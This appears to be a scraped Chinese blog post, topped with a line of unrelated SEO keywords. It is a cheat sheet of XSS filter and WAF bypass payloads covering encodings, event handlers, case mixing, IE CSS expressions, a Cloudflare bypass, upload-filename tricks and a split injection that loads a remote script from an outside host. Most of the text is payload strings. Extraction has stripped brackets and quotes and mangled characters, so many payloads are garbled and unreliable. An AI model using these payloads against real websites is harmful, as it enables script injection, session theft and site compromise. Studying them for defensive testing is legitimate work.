做的网站响应速度慢,做物流行业网站的开发公司,福州如何做百度的网站,NET网站开发程序员招聘XSS漏洞简介
跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞#xff0c;在OWASP TOP10 2021中隶属于注入型漏洞#xff0c;高居TOP3的排位#xff0c;可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义#xff0c;以及XSS的核心。…XSS漏洞简介
跨站脚本攻击在目前这个时间节点还是属于一个排位比较高的漏洞在OWASP TOP10 2021中隶属于注入型漏洞高居TOP3的排位可见这个漏洞的普遍性。跨站脚本攻击的学习中我们主要需要明白的是跨站的含义以及XSS的核心。XSS主流分类分为反射型存储型DOM型三类比较重要的是存储型。要想学习好XSS需要重点对WEB应用有一个比较深入的了解对后端防护规则需要有一个大概的了解才能在渗透测试中游刃有余在实际的渗透测试场景中XSS在大多数情况都是增加了防护规则的下面就介绍一下常见的XSS绕过的思路仅仅提供思路更多的还是需要大家对于漏洞的理解。
前端过滤
burp抓包改包绕过 通过抓响应包然后直接删除掉里面的JS校验的代码核心让JS校验不起作用。 记住一句话 前端校验等于没有校验。真正的校验还是得后端做。
双写绕过
核心掌握为什么要这样双写。需要知道后端校验的意图。
scriscriptptalert(111)/scriscriptpt事件绕过
如onclick、onmousemove、onblur、oninput事件 主打的就是绕黑名单
onmouseoveralert(miracle)
onbluralert(11)
oninputalert(22)大小写绕过
主要就是看后端正则校验是否区分了大小写。
SCRIPTaLeRT(111)/sCRIpt注释干扰绕过
主要还是和正则做对抗思路思路
scri!--test-- pt alert(1);/scr!--test-- ipt伪协议绕过
这个就要分析源码看有没有相关的属性了有就可以尝试。
111 a hrefjavascript:alert(9527)xss/a table background javascript:alert(9526) /tableimg srC javascript:alert(9528); 空格回车Tab绕过
主要和正则对抗
空格img src javascript:alert(9527); TAB img src javasc :ript:alert(9528); 回车 img src javascript:alert(xss); 编码绕过
编码绕过的本质就是需要了解编码的发展史当然能绕过的核心还是要看后端代码是怎么写的。需要掌握计算机运行数据的本质。
base64编码
如果过滤了 script,可以用base64编码eval() eval函数把字符串 当做程序执行atob函数是将base64密文转换为名文
script eval(atob(YWxlcnQoOTUyNyk));/scriptbase64编码多用于如下两种情况
1. a href 可控点
2. iframe src 可控点举例
a href data:text/html;base64,PGltZyBzcmM9eCDOv25lcnLOv3I9IGFsZXJ0KDk1MjYpPgxxx/a
这样当test A链接点击时就会以data协议页面以html/text的方式解析编码为base64然后单点击
a链接时base64的编码就被还原成我们原本的img srcx οnerrοr alert(9526)JS编码
八进制
三个八进制数字如果个数不够,在前面补0例如e的编码为\145十六进制
两个十六进制数字如果个数不够在前面补0e的编码为\x65
十六进制前面加上\x可以被JS识别
尖括号被转义时利用十六进制绕过
如\\x3cscript\\x3ealert(9527);\x3c/script\x3eunicode
四个十六进制数字如果个数不够在前面补0e的编码为\u0065
十六进制前面加上\u00变成JS可识别的Unicode编码
\\u003cscript\u003ealert(9528);\\u003c/script\\u003e
对于一些控制字符使用特殊的C类型的转义风格(例如\n和\r)HTML实体编码
字符编码十进制、十六进制编码样式为#数值;例如可以编码为#60;
img src1 οnerrοr al#101;r#116;(1)
浏览器是不会在html标签里解析js编码的所以我们在οnerrοr后面放js中的编码是不会解析你放进去是什么就是什么URL编码
进行两次URL全编码
img srcx onerroreval(unescape(%61%6c%65%72%74%28%22%78%73%73%22%29%3b))
Ascii码绕过
img srcx onerroreval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))CSS绕过
利用IE特性绕过XSS过滤
IE中两个反单引号 可以闭合一个左边双引号
οnmοusemοve alert(1)利用css特性绕过xss过滤
设置background:url,利用JavaScript伪协议执行js目前只有IE浏览器支持
background-color:# f00;background:url(javascript:alert(9527););低版本IE浏览器6 10 D版本弹窗成功IE中利用CSS触发xss
CSS中的注释/**/
xss:expres/**/sion(if(!window.x){alert(9528);window.x 1;})过滤空格
htmlimgAAsrcAAonerrorBBBBalertCC(1)DD/htmlA位置可填充 //123/%09%0A%0C%0D%20 B位置可填充 %09%0A%0C%0D%20 C位置可填充 %0B/**/如果加了双引号则可以填充 %09%0A%0C%0D%20 D位置可填充 %09%0A%0C%0D%20//字符拼接
利用eval
img srcx onerroraaler;bt;c(xss);;eval(abc)利用top
img srcx onerrortop[alert](1)利用window
img srcx onerrorwindow[alert](1)利用self
img srcx onerrorself[alert](1)利用parent
img srcx onerrorparent[alert](1)利用frames
img srcx onerrorframes[alert](1)其它字符混淆
scriptalert(xss);///scripttitleimg src/titleimg srcx onerroralert(9526); //因为title标签的优先级比img的高所以会先闭合title从而导致前面的img标签无效SCRIPTvar a\\;alert(xss);//;/SCRIPT过滤双引号单引号
用反引号代替单双引号
img srcx onerroralert(xss);过滤括号
当括号被过滤的时候可以使用throw来绕过
svg/onloadwindow.οnerrοreval;throwalert\x281\x29;alert 过滤
prompt 替换
scriptprompt(9527)/scriptconfirm 替换
scriptconfirm(9528)/scriptconsole.log 替换
scriptconsole.log(3306)/scriptdocument.write 替换
scriptdocument.write(8080)/scriptbase64 绕过
img srcx onerrorFunctiona${atobYWxlcnQoMSk}
img srcx onerror.constructor.constructora${atobYWxlcnQoMSk}
常用函数
img srcx onerroreval(alert(1))img srcx onerroropen(alert(1))img srcx onerrordocument.write(alert(1))img srcx onerrorsetTimeout(alert(1))img srcx onerrorsetInterval(alert(1))img srcx onerrorSet.constructor(alert(1))img srcx onerrorMap.constructor(alert(1))img srcx onerrorArray.constructor(alert(1))img srcx onerrorWeakSet.constructor(alert(1))img srcx onerrorconstructor.constructor(alert(1))img srcx onerror[1].map(alert(1))img srcx onerror[1].find(alert(1))img srcx onerror[1].every(alert(1))img srcx onerror[1].filter(alert(1))img srcx onerror[1].forEach(alert(1))img srcx onerror[1].findIndex(alert(1))赋值拼接
img src onerror_alert,_(1)img src xal yert onerrortop[xy](1)img src onerrortop[aal,bev,ba](alert(1))img src onerror[alert].map(top[eval])[0][valueOf]()(1)拆分法
当 Web 应用程序对目标用户的输入长度进行了限制时这时无法注入较长的xss攻击向量但是特定情况下这种限制可以通过拆分法注入的方式进行绕过
scriptadocument.write(/scriptscriptaascript srcht/scriptscriptaatp://note163.com/xs/scriptscriptaas.js/script)/scriptscripteval(a)/script通过上面的拆分法可以拼凑出下面完整的攻击向量
document.write(script src http://note163.com/xss.js/script)上传文件构造xss
上传普通文件更改文件名为xss语句
scriptalert(443)/script.gif/pngXSS绕过cloudflare
Payload
svg onloadalert#0000000040document.domain)XSS绕过过滤
Payload
/svgsvgsvg//OnOnLoAdconfirm(6379)XSS(上传图片)
img srcx onerroralert(XSS).png img srcx οnerrοralert(XSS).png svg onmouseoveralert(1).svgscriptalert(xss)!--a--a.png遇到可以上传图片并且可以自定义文件名的时候可以试试这样上传以后当我们访问这个图片的时候有可能就会触发xss了 以上就是XSS绕过的思路总结啦借鉴了很多前辈的思路非常